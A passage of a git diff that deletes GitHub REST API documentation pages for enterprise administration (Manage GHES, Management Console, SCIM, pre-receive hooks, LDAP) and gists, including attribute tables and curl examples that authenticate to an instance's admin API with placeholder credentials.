ifversion ghes %}, except the Manage GitHub Enterprise Server API {% ifversion ghes < 3.15 %} and Management Console API{% endif %},{% endif %} are prefixed with the following URL: - -```shell -{% data variables.product.rest_url %} -``` - -{% ifversion fpt or ghec %} -When endpoints include `{enterprise}`, replace `{enterprise}` with the handle for your enterprise account, which is included in the URL for your enterprise settings. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `{enterprise}` with `octo-enterprise`. -{% endif %} - -{% ifversion ghes %} - -Endpoints for the Manage GitHub Enterprise Server API{% ifversion ghes < 3.15 %} and Management Console API{% endif %} are only prefixed with a hostname and administration port: - -```shell -http(s)://HOSTNAME:ADMINISTRATION-PORT/ -``` - -{% endif %} -{% ifversion ghes %} - -## Authentication - -Your {% data variables.product.prodname_ghe_server %} installation's API endpoints accept the same authentication methods as the {% data variables.product.github %} API. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -OAuth tokens must have the `site_admin` [OAuth scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes) when used with these endpoints. - -These endpoints are only accessible to authenticated {% data variables.product.prodname_ghe_server %} site administrators, except for endpoints of the [AUTOTITLE](/rest/enterprise-admin/manage-ghes) API{% ifversion ghes < 3.15 %} and [AUTOTITLE](/rest/enterprise-admin/management-console) API{% endif %}, which allow authentication as a Management Console user. See [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console). - -{% data reusables.enterprise_management_console.api-deprecation %} - -{% endif %} - -{% ifversion ghes %} - -## Version information - -The current version of your enterprise is returned in the REST API response header: -`X-GitHub-Enterprise-Version: {{currentVersion}}.0` -You can also read the current version by calling `GET /meta`. For more information, see [AUTOTITLE](/rest/meta). - -{% endif %} - -## Endpoints - - diff --git a/content/rest/enterprise-admin/ldap.md b/content/rest/enterprise-admin/ldap.md deleted file mode 100644 index da003accee2b..000000000000 --- a/content/rest/enterprise-admin/ldap.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for LDAP -shortTitle: LDAP -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to update account relationships between a {% data variables.product.prodname_ghe_server %} user or team and its linked LDAP entry or - queue a new synchronization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About LDAP - -You can use these endpoints to update the Distinguished Name (DN) that a user or team maps to. Note that in most cases, you must have [LDAP Sync enabled](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap) for your {% data variables.product.prodname_ghe_server %} appliance. The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/license.md b/content/rest/enterprise-admin/license.md deleted file mode 100644 index a3260fe5641e..000000000000 --- a/content/rest/enterprise-admin/license.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for enterprise licenses -shortTitle: License -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve information about your Enterprise license. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators. Normal users will receive a `404` response. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/manage-ghes.md b/content/rest/enterprise-admin/manage-ghes.md deleted file mode 100644 index dc8e8d76ff06..000000000000 --- a/content/rest/enterprise-admin/manage-ghes.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: REST API endpoints for managing GitHub Enterprise Server -allowTitleToDifferFromFilename: true -shortTitle: Manage GHES -intro: >- - Use the REST API to manage your {% data variables.product.prodname_ghe_server %} - instance. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About the Manage {% data variables.product.prodname_ghe_server %} API - -You can manage {% data variables.location.product_location %} using the Manage {% data variables.product.prodname_ghe_server %} API. For example, you can retrieve information about the version of the {% data variables.product.prodname_ghe_server %} software running on the instance, or on instances with multiple nodes, view the status of replication. - -{% ifversion management-console-manage-ghes-parity %} -> [!TIP] You can use this API to replace the functionality of the **Management Console API**, which was removed in {% data variables.product.prodname_ghe_server %} version 3.15. For a mapping between the endpoints, see {% ifversion ghes > 3.14 %}[AUTOTITLE](/enterprise-server@3.14/rest/enterprise-admin/management-console) in version 3.14 of the documentation.{% else %}[AUTOTITLE](/rest/enterprise-admin/management-console).{% endif %} -{% endif %} - -Specify the port number when making API calls to endpoints for the Manage {% data variables.product.prodname_ghe_server %} API. If your instance uses TLS, the port number is 8443. Otherwise, the port number is 8080. If you cannot provide a port number, you'll need to configure your client to automatically follow redirects. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls). - -You can also use the {% data variables.product.prodname_ghe_server %} extension of the {% data variables.product.prodname_cli %} to invoke endpoints in the Manage {% data variables.product.prodname_ghe_server %} API. For more information, see the [`github/gh-es`](https://github.com/github/gh-es/blob/main/README.md) repository. - -### Authentication - -To authenticate requests to endpoints for the Manage {% data variables.product.prodname_ghe_server %} API, specify the password for the instance's root site administrator account as an authentication token. Use standard HTTP authentication to send the password. The `api_key` user identifies the root site administrator. The following example demonstrates authentication for this API. Replace ROOT-SITE-ADMINISTRATOR-PASSWORD with the password, and ADMINISTRATION-PORT with either 8443 or 8080. - -```shell -curl -L -u "api_key:ROOT-SITE-ADMINISTRATOR-PASSWORD" 'http(s)://HOSTNAME:ADMINISTRATION-PORT/manage' -``` - -### Authentication as a {% data variables.enterprise.management_console %} user - -{% data variables.enterprise.management_console %} user accounts can also authenticate to access these endpoints. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console#management-console-user). - -To authenticate with the password for a {% data variables.enterprise.management_console %} user account, use standard HTTP authentication. In the following example, replace YOUR_USER_NAME and YOUR_PASSWORD with the account's user name and password. - -```shell -curl -L -u "YOUR_USER_NAME:YOUR_PASSWORD" 'http(s)://HOSTNAME:ADMINISTRATION-PORT/manage' -``` - -### Query parameters - -By default, the response includes information from about all configured nodes for the instance. On an instance with multiple nodes, the details originate from `/data/user/common/cluster.conf`. You can use the following query parameters to filter the response for information about specific nodes. - -| Query parameter | Description | -| :- | :- | -| `uuid` | Unique identifier for the node. | -| `cluster_role` | For nodes in a cluster, the roles that apply to the node. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-clustering/about-cluster-nodes). | - -You can specify multiple values for the query parameter by delimiting the values with a comma. For example, the following request uses curl to return any nodes with the `web-server` or `storage-server` role. - -```shell -curl -L -u "api_key:ROOT-SITE-ADMINISTRATOR-PASSWORD" 'http(s)://HOSTNAME:ADMINISTRATION-PORT/manage/v1/config/nodes?cluster_role=WebServer,StorageServer' -``` - - diff --git a/content/rest/enterprise-admin/management-console.md b/content/rest/enterprise-admin/management-console.md deleted file mode 100644 index ff72bcc619fd..000000000000 --- a/content/rest/enterprise-admin/management-console.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: REST API endpoints for Management Console -shortTitle: Management Console -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to manage your {% data variables.product.prodname_ghe_server %} - installation. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: <=3.14 -topics: - - API -autogenerated: rest ---- - -## About the Management Console endpoints - -The full functionality of the Management Console endpoints was added to the [Manage GHES](/rest/enterprise-admin/manage-ghes) endpoints in {% data variables.product.prodname_ghe_server %} version 3.12. With feature parity achieved, the Management Console API endpoints were removed in version 3.15. - -{% ifversion management-console-manage-ghes-parity %} - -To help you migrate, the mapping table below shows the equivalent Manage GHES operation for each Management Console operation. Please migrate to the Manage GHES API endpoints as soon as possible. - -| Purpose | Management Console API operation | Manage GHES API operation | -| ------------- | ------------- | - | -| Get the configuration status | `GET /setup/api/configcheck` | [`GET /manage/v1/config/apply`](/rest/enterprise-admin/manage-ghes#get-the-status-of-a-ghe-config-apply-run) | -| Start a configuration process | `POST /setup/api/configure` | [`POST /manage/v1/config/apply`](/rest/enterprise-admin/manage-ghes#trigger-a-ghe-config-apply-run) | -| Get the maintenance status | `GET /setup/api/maintenance` | [`GET /manage/v1/maintenance`](/rest/enterprise-admin/manage-ghes#get-the-status-of-maintenance-mode) | -| Enable or disable maintenance mode | `POST /setup/api/maintenance` | [`POST /manage/v1/maintenance`](/rest/enterprise-admin/manage-ghes#set-the-status-of-maintenance-mode) | -| Get settings | `GET /setup/api/settings` | [`GET /manage/v1/config/settings`](/rest/enterprise-admin/manage-ghes#get-the-ghes-settings) | -| Set settings | `PUT /setup/api/settings` | [`PUT /manage/v1/config/settings`](/rest/enterprise-admin/manage-ghes#set-settings) | -| Get all authorized SSH keys | `GET /setup/api/settings/authorized-keys` | [`GET /manage/v1/access/ssh`](/rest/enterprise-admin/manage-ghes#get-the-configured-ssh-keys) | -| Add an authorized SSH key | `POST /setup/api/settings/authorized-keys` | [`POST /manage/v1/access/ssh`](/rest/enterprise-admin/manage-ghes#set-a-new-ssh-key) | -| Remove an authorized SSH key | `DELETE /setup/api/settings/authorized-keys` | [`DELETE /manage/v1/access/ssh`](/rest/enterprise-admin/manage-ghes#delete-a-ssh-key) | -| Create a GitHub license | `POST /setup/api/start` | [`POST /manage/v1/config/init`](/rest/enterprise-admin/manage-ghes#initialize-instance-configuration-with-license-upload) | -| Upgrade a license | `POST /setup/api/upgrade` | [`PUT /manage/v1/config/license`](/rest/enterprise-admin/manage-ghes#upload-an-enterprise-license) | - -{% endif %} - -## About the {% data variables.enterprise.management_console %} - -You should explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`. Otherwise, the port number is `8080`. - -If you cannot provide a port number, you'll need to configure your tool to automatically follow redirects. - -You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.github %} uses a self-signed certificate before you [add your own TLS certificate](/admin/configuration/configuring-network-settings/configuring-tls). - -### Authentication as the root site administrator - -You need to pass your [root site administrator password](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console) as an authentication token to every endpoint in this category except [Create a {% data variables.product.github %} license](#create-a-github-license). - -Use the `api_key` parameter to send this token with each request. For example: - -```shell -curl -L 'https://HOSTNAME:ADMIN-PORT/setup/api?api_key=YOUR_PASSWORD' -``` - -You can also use standard HTTP authentication to send this token. For example: - -```shell -curl -L -u "api_key:YOUR_PASSWORD" 'https://HOSTNAME:ADMIN-PORT/setup/api' -``` - -### Authentication as a {% data variables.enterprise.management_console %} user - -[Management Console user accounts](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console#management-console-user) can also authenticate to access this endpoint. - -To authenticate with the password for a {% data variables.enterprise.management_console %} user account, use standard HTTP authentication. In the following example, replace YOUR_USER_NAME and YOUR_PASSWORD with the account's user name and password. - -```shell -curl -L -u "YOUR_USER_NAME:YOUR_PASSWORD" 'https://HOSTNAME:ADMIN-PORT/setup/api' -``` - - diff --git a/content/rest/enterprise-admin/network-configurations.md b/content/rest/enterprise-admin/network-configurations.md deleted file mode 100644 index ef9ad6050143..000000000000 --- a/content/rest/enterprise-admin/network-configurations.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: REST API endpoints for enterprise network configurations -shortTitle: Network configurations -intro: Use the REST API to interact with enterprise network configurations. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/enterprise-admin/org-pre-receive-hooks.md b/content/rest/enterprise-admin/org-pre-receive-hooks.md deleted file mode 100644 index df3cf54acba6..000000000000 --- a/content/rest/enterprise-admin/org-pre-receive-hooks.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: REST API endpoints for organization pre-receive hooks -shortTitle: Organization pre-receive hooks -intro: >- - Use the REST API to view and modify enforcement of the pre-receive hooks that - are available to an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About organization pre-receive hooks - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -### Object attributes - -| Name | Type | Description | -|----------------------------------|-----------|-----------------------------------------------------------| -| `name` | `string` | The name of the hook. | -| `enforcement` | `string` | The state of enforcement for the hook on this repository. | -| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement. | -| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | - -Possible values for `enforcement` are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. - -`configuration_url` may be a link to this endpoint or this hook's global configuration. Only site admins are able to access the global configuration. - - diff --git a/content/rest/enterprise-admin/orgs.md b/content/rest/enterprise-admin/orgs.md deleted file mode 100644 index 4219bffefce5..000000000000 --- a/content/rest/enterprise-admin/orgs.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for enterprise organizations -shortTitle: Organizations -intro: Use the REST API to create organizations on your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About organization administration - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators. Normal users will receive a `404` response. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/pre-receive-environments.md b/content/rest/enterprise-admin/pre-receive-environments.md deleted file mode 100644 index 234581ad55bd..000000000000 --- a/content/rest/enterprise-admin/pre-receive-environments.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: REST API endpoints for pre-receive environments -shortTitle: Pre-receive environments -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to create, list, update and delete environments for - pre-receive hooks. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About pre-receive environments - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators. Normal users will receive a `404` response. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -### Object attributes - -#### Pre-receive Environment - -| Name | Type | Description | -|-----------------------|-----------|----------------------------------------------------------------------------| -| `name` | `string` | The name of the environment as displayed in the UI. | -| `image_url` | `string` | URL to the tarball that will be downloaded and extracted. | -| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.github %}. | -| `download` | `object` | This environment's download status. | -| `hooks_count` | `integer` | The number of pre-receive hooks that use this environment. | - -#### Pre-receive Environment Download - -| Name | Type | Description | -|-----------------|----------|---------------------------------------------------------| -| `state` | `string` | The state of the most recent download. | -| `downloaded_at` | `string` | The time when the most recent download started. | -| `message` | `string` | On failure, this will have any error messages produced. | - -Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`. - - diff --git a/content/rest/enterprise-admin/pre-receive-hooks.md b/content/rest/enterprise-admin/pre-receive-hooks.md deleted file mode 100644 index 208f12313baa..000000000000 --- a/content/rest/enterprise-admin/pre-receive-hooks.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: REST API endpoints for pre-receive hooks -shortTitle: Pre-receive hooks -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to create, list, update and delete pre-receive hooks.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About pre-receive hooks - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators. Normal users will receive a `404` response. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -### Object attributes - -#### Pre-receive Hook - -| Name | Type | Description | -|----------------------------------|-----------|-----------------------------------------------------------------| -| `name` | `string` | The name of the hook. | -| `script` | `string` | The script that the hook runs. | -| `script_repository` | `object` | The GitHub repository where the script is kept. | -| `environment` | `object` | The pre-receive environment where the script is executed. | -| `enforcement` | `string` | The state of enforcement for this hook. | -| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. | - -Possible values for _enforcement_ are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject -any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. - - diff --git a/content/rest/enterprise-admin/repo-pre-receive-hooks.md b/content/rest/enterprise-admin/repo-pre-receive-hooks.md deleted file mode 100644 index cfb4f756e64e..000000000000 --- a/content/rest/enterprise-admin/repo-pre-receive-hooks.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: REST API endpoints for repository pre-receive hooks -shortTitle: Repository pre-receive hooks -intro: >- - Use the REST API to view and modify enforcement of the pre-receive hooks that - are available to a repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About repository pre-receive hooks - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -| Name | Type | Description | -|---------------------|----------|-----------------------------------------------------------| -| `name` | `string` | The name of the hook. | -| `enforcement` | `string` | The state of enforcement for the hook on this repository. | -| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | - -Possible values for _enforcement_ are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. - -`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level. - - diff --git a/content/rest/enterprise-admin/rules.md b/content/rest/enterprise-admin/rules.md deleted file mode 100644 index 3bbde801dbc5..000000000000 --- a/content/rest/enterprise-admin/rules.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: REST API endpoints for rules -shortTitle: Rules -intro: Use the REST API to manage rulesets for an enterprise. Rulesets control how people can interact with repositories and code. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/enterprise-admin/scim.md b/content/rest/enterprise-admin/scim.md deleted file mode 100644 index d72d6c26be30..000000000000 --- a/content/rest/enterprise-admin/scim.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: REST API endpoints for SCIM -shortTitle: SCIM -allowTitleToDifferFromFilename: true -intro: Use the REST API to automate user creation and team memberships with SCIM. -versions: - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% ifversion emu-public-scim-schema %} - -> [!NOTE] -> * {% data reusables.scim.ghec-open-scim-operation-differentiation %} -> * {% data reusables.scim.ghec-open-scim-test-in-isolation %} - -{% endif %} - -## About SCIM - -{% ifversion ghec %} - -{% data reusables.enterprise_user_management.about-scim-provisioning %} If you don't use a partner IdP with an existing integration, you can integrate using the following API endpoints. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-with-scim-using-the-rest-api). - -### Base URL - -To manage your enterprise's users and groups using SCIM, use the following base URL to communicate with the endpoints in this category. - -```http -{% data variables.product.rest_url %}/scim/v2/enterprises/{enterprise}/ -``` - -### Authentication - -To authenticate API requests, the person who configures SCIM on the IdP must use a {% data variables.product.pat_v1 %} with `scim:enterprise` scope, which the IdP must provide in the request's `Authorization` header. For more information about {% data variables.product.pat_v1_plural %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -{% data variables.product.company_short %} recommends authenticating as the setup user for the enterprise. Other user accounts are created through SCIM, so authenticating as a different user could result in unintended consequences, such as getting locked out of your enterprise. Write requests to these APIs are possible through our published IdP applications, or through direct API access to our SCIM endpoints. If another enterprise owner needs to read information from the API, use a {% data variables.product.pat_v1 %} with the `admin:enterprise` scope to make `GET` requests on your current SCIM implementation. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token). - -### Mapping of SAML and SCIM data - -After a {% data variables.enterprise.prodname_managed_user %} successfully authenticates to access your enterprise using SAML SSO, {% data variables.product.github %} links the user to a SCIM provisioned identity. To link the identities successfully, the SAML identity provider and the SCIM integration must use matching unique identifiers. - -{% data variables.product.company_short %} requires the following SAML claim and SCIM attribute to successfully match the user with the identity provisioned by SCIM. Identity providers may differ in the field used to uniquely identify a user. - -#### Microsoft Entra ID for SAML - -To use Entra ID (previously known as Azure AD) for SAML, the following SAML claims and SCIM attribute must match. - -| SAML claim | Matching SCIM attribute | -| :- | :- | -| `http://schemas.microsoft.com/identity/claims/objectidentifier` | `externalId` | - -#### Other IdPs for SAML - -To use other IdPs for SAML, the following SAML claims and SCIM attribute must match. - -| SAML claim | Matching SCIM attribute | -| :- | :- | -| `NameID` | `userName` | - -### Supported SCIM user attributes - -`Users` endpoints in this category support the following attributes within a request's parameters. - -| Name | Type | Description | -| :- | :- | :- | -| `displayName` | String | Human-readable name for a user. | -| `name.formatted` | String | The user's full name, including all middle names, titles, and suffixes, formatted for display.| -| `name.givenName` | String | The first name of the user. | -| `name.familyName` | String | The last name of the user. | -| `userName` | String | The username for the user, generated by the SCIM provider. Undergoes [normalization](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization) before being used. Must be unique per user. | -| `emails` | Array | List of the user's emails. | -| `roles` | Array | List of the user's roles. | -| `externalId` | String | This identifier is generated by a SCIM provider. Must be unique per user. | -| `id` | String | Identifier generated by the GitHub's SCIM endpoint. | -| `active` | Boolean | Indicates whether the identity is active (`true`) or should be suspended (`false`). | - -### Supported SCIM group attributes - -`Groups` endpoints in this category support the following attributes within a request's parameters. - -| Name | Type | Description | -| :- | :- | :- | -| `displayName` | String | Human-readable name for a group. | -| `members` | String | List of members who are assigned to the group in SCIM provider | -| `externalId` | String | This identifier is generated by a SCIM provider. Must be unique per user. | - -{% endif %} - -{% ifversion ghes %} - -{% data reusables.scim.ghes-beta-note %} - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -{% data variables.product.github %} provides endpoints for use by SCIM-enabled Identity Providers (IdPs). An integration on the IdP can use the REST API to automatically provision, manage, or deprovision user accounts on a {% data variables.product.prodname_ghe_server %} instance that uses SAML single sign-on (SSO) for authentication. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes). - -These endpoints are based on SCIM 2.0. For more information, refer to your IdP's documentation or see the [specification on the IETF website](https://datatracker.ietf.org/doc/html/rfc7644). - -### Root URLs - -An IdP can use the following root URL to communicate with the endpoints in this category for a {% data variables.product.prodname_ghe_server %} instance. - -```http -{% data variables.product.rest_url %}/scim/v2/ -``` - -Do **not** include the `enterprises/{enterprise}/` portion of the URLs provided in the endpoint documentation below. This part of the path is not applicable to {% data variables.product.prodname_ghe_server %}. In the future, this documentation will display the correct URLs for {% data variables.product.prodname_ghe_server %}. - -Endpoints in this category are case-sensitive. For example, the first letter in the `Users` endpoint must be capitalized. - -```shell -GET /scim/v2/Users/{scim_user_id} -``` - -### Authentication - -The SCIM integration on the IdP performs actions on behalf of an enterprise owner for the {% data variables.product.prodname_ghe_server %} instance. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners). - -To authenticate API requests, the person who configures SCIM on the IdP must use a {% data variables.product.pat_v1 %} with the {% ifversion scim-enterprise-scope %}`scim:enterprise`{% else %}`admin:enterprise`{% endif %} scope, which the IdP must provide in the request's `Authorization` header. For more information about {% data variables.product.pat_v1_plural %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -> [!NOTE] -> Enterprise owners must generate and use a {% data variables.product.pat_v1 %} for authentication of requests to endpoints in this category. {% ifversion ghes %}{% data variables.product.pat_v2_caps %} and {% endif %}GitHub app callers are not supported at this time. - -### Mapping of SAML and SCIM data - -The {% data variables.product.prodname_ghe_server %} instance links each user who authenticates successfully with SAML SSO to a SCIM identity. To link the identities successfully, the SAML IdP and the SCIM integration must use matching SAML `NameID` and SCIM `userName` values for each user. - -{% ifversion ghes %} - -> [!NOTE] -> If the {% data variables.product.prodname_ghe_server %} instance uses Entra ID as a SAML IdP, {% data variables.product.github %} will also check the SCIM `externalId` claim and SAML `http://schemas.microsoft.com/identity/claims/objectidentifier` claim to match users first, instead of using `NameID` and `userName`. - -{% endif %} - -### Supported SCIM user attributes - -`User` endpoints in this category support the following attributes within a request's parameters. - -| Name | Type | Description | -| :- | :- | :- | -| `displayName` | String | Human-readable name for a user. | -| `name.formatted` | String | The user's full name, including all middle names, titles, and suffixes, formatted for display. -| `name.givenName` | String | The first name of the user. | -| `name.familyName` | String | The last name of the user. | -| `userName` | String | The username for the user, generated by the IdP. Undergoes [normalization](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization) before being used. -| `emails` | Array | List of the user's emails. | -| `roles` | Array | List of the user's roles. | -| `externalId` | String | This identifier is generated by an IdP provider. You can find the `externalId` for a user either on the IdP, or by using the [List SCIM provisioned identities](#list-scim-provisioned-identities-for-an-enterprise) endpoint and filtering on other known attributes, such as a user's username or email address on the {% data variables.product.prodname_ghe_server %} instance. | -| `id` | String | Identifier generated by the instance's SCIM endpoint. | -| `active` | Boolean | Indicates whether the identity is active (`true`) or should be suspended (`false`). | - -{% endif %} - - diff --git a/content/rest/enterprise-admin/users.md b/content/rest/enterprise-admin/users.md deleted file mode 100644 index 4d185b56b86d..000000000000 --- a/content/rest/enterprise-admin/users.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for enterprise users -shortTitle: Users -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to suspend{% ifversion ghes %}, unsuspend, promote, and - demote{% endif %} users on your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About user administration - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators. Normal users will receive a `403` response. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/gists/comments.md b/content/rest/gists/comments.md deleted file mode 100644 index e12070fa4ebc..000000000000 --- a/content/rest/gists/comments.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for gist comments -allowTitleToDifferFromFilename: true -shortTitle: Comments -intro: Use the REST API to view and modify comments on a gist. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About gist comments - -You can use the REST API to view and modify comments on a gist. For more information about gists, see [AUTOTITLE](/get-started/writing-on-github/editing-and-sharing-content-with-gists). - - diff --git a/content/rest/gists/gists.md b/content/rest/gists/gists.md deleted file mode 100644 index 0354bd926406..000000000000 --- a/content/rest/gists/gists.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: REST API endpoints for gists -shortTitle: Gists -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to list, create, update and delete the public gists on - GitHub. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About gists - -You can use the REST API to view and modify gists. For more information about gists, see [AUTOTITLE](/get-started/writing-on-github/editing-and-sharing-content-with-gists). - -{% ifversion ghec %} - -> [!NOTE] Gists are not available with {% data variables.product.prodname_emus %}. - -{% endif %} - -### Authentication - -You can read public gists {% ifversion ghes %}and create them for anonymous users without a token.{% else %} anonymously, but you must be signed into {% data variables.product.github %} to create gists.{% endif %} To read or write gists on a user's behalf, you need the gist OAuth scope and a token. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). - - - -### Truncation - -The API provides up to one megabyte of content for each file in the gist. Each file returned for a gist through the API has a key called `truncated`. If `truncated` is `true`, the file is too large and only a portion of the contents were returned in `content`. - -If you need the full contents of the file, you can make a `GET` request to the URL specified by `raw_url`. Be aware that for files larger than ten megabytes, you'll need to clone the gist via the URL provided by `git_pull_url`. - -In addition to a specific file's contents being truncated, the entire files list may be truncated if the total number exceeds 300 files. If the top level `truncated` key is `true`, only the first 300 files have been returned in the files list. If you need to fetch all of the gist's files, you'll need to clone the gist via the URL provided by `git_pull_url`. - - diff --git a/content/rest/gists/index.md b/content/rest/gists/index.md deleted file mode 100644 index ea142d7919b9..000000000000 --- a/content/rest/gists/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for gists and gist comments -shortTitle: Gists -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to list, create, update and delete the public gists on {% data variables.product.github %}.' -redirect_from: - - /v3/gists - - /rest/reference/gists -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /gists - - /comments -autogenerated: rest ---- - - - - diff --git a/content/rest/git/blobs.md b/content/rest/git/blobs.md deleted file mode 100644 index 7a6d1f9e2b04..000000000000 --- 